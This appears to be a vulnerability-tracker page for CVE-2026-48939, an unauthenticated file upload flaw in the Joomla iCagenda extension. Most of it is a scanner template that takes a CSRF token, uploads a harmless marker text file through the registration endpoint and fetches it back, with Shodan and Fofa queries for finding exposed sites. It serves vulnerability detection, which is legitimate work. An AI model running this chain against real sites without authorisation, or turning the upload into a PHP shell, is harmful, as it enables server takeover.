CVE-2026-48939: Joomla iCagenda < 3.9.10 - Unauthenticated Arbitrary File Upload RCE

2026-08-16 Joomla iCagenda PoC Public

Description

iCagenda extension for Joomla contains an unrestricted file upload vulnerability in the file attachment feature, letting attackers upload and execute arbitrary PHP code, exploit requires no special privileges.

PoC

id: CVE-2026-48939

info:
  name: Joomla iCagenda < 3.9.10 - Unauthenticated Arbitrary File Upload RCE
  author: 0x_Akoko
  severity: critical
  description: |
    iCagenda extension for Joomla contains an unrestricted file upload vulnerability in the file attachment feature, letting attackers upload and execute arbitrary PHP code, exploit requires no special privileges.
  impact: |
    Attackers can upload and execute arbitrary PHP code, leading to full server compromise.
  remediation: |
    Update to the latest version of iCagenda extension.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-48939
    - https://github.com/ChiefYoru/CVE-2026-48939_PoC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-48939
    epss-score: 0.20069
    epss-percentile: 0.97308
    cwe-id: CWE-434
  metadata:
    verified: true
    max-request: 3
    vendor: joomlic
    product: icagenda
    framework: joomla
    shodan-query: http.html:"com_icagenda"
    fofa-query: body="com_icagenda"
  tags: cve,cve2026,joomla,icagenda,file-upload,rce,intrusive,kev,vkev

variables:
  marker: "{{to_lower(rand_text_alpha(8))}}"

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET /administrator/ HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "icagenda") || contains(body, "iCagenda")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: csrf
        group: 1
        internal: true
        regex:
          - 'name="([a-f0-9]{32})"\s+value="1"'

  - raw:
      - |
        POST /index.php?option=com_icagenda&task=registration.submit HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----iCagendaBoundary48939
        X-Requested-With: XMLHttpRequest
        Referer: {{BaseURL}}/

        ------iCagendaBoundary48939
        Content-Disposition: form-data; name="{{csrf}}"

        1
        ------iCagendaBoundary48939
        Content-Disposition: form-data; name="jform[attachment]"; filename="{{marker}}.txt"
        Content-Type: text/plain

        CVE-2026-48939-FILE-UPLOAD-CONFIRMED
        ------iCagendaBoundary48939--

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200 || status_code == 303'
        internal: true

  - raw:
      - |
        GET /images/icagenda/frontend/attachments/{{marker}}.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "CVE-2026-48939-FILE-UPLOAD-CONFIRMED")'
        condition: and
# digest: 4b0a004830460221009ea7103099d06c9593d0f9fdd1a332e2ec1ec2ac155c3ddf6b5a29d6eb01f4eb022100eb2b06c45cbac7b1d246ec1e59d72263b607372de8f6ce104e45b1ca3e96a3b6:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities